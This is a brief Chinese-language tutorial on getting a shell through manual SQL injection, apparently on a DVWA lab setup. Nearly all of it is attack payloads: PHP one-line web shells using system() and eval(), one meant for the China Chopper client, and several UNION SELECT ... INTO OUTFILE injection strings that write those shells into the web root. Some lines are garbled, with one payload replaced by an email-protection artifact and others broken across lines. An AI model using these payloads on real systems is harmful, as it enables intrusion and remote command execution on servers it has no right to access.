SQL inject 漏洞手工利用过程详解：get shell

思路：上传一个“后门”，通过控制后门来得到shell，比如一句话木马。比如：

<?system($_REQUEST[‘cmd‘]);?> //通过request提交，执行shell<[email protected]($_POST[‘chopper‘]);?>

//PHP一句话木马，直接上菜刀

这里构造如下语句：

1‘and 1=2 union select "<?",system($_REQUEST[‘cmd‘]);?>"

into outfile "d:\\xampp\\htdocs\\dvwa\\yy.php"#

1‘ and 1=2 union select 1,"<?system($_REQUEST[‘cmd‘]);?>" into outfile "f:\\xampp\\htdocs\\dvwa\\zzz.php"--

1‘ and 1=2 union select "<?","system($_REQUEST[‘cmd‘]);?>" into outfile "d:\\

xampp\\htdocs\\dvwa\\zzz.php"

<?php eval($_POST[‘888‘]);?>

1‘ and 1=2 union select 1,"<?php eval($_POST[‘888‘]);?>" into outfile "d:\\xampp\\htdocs\\dvwa\\yyy.php"#
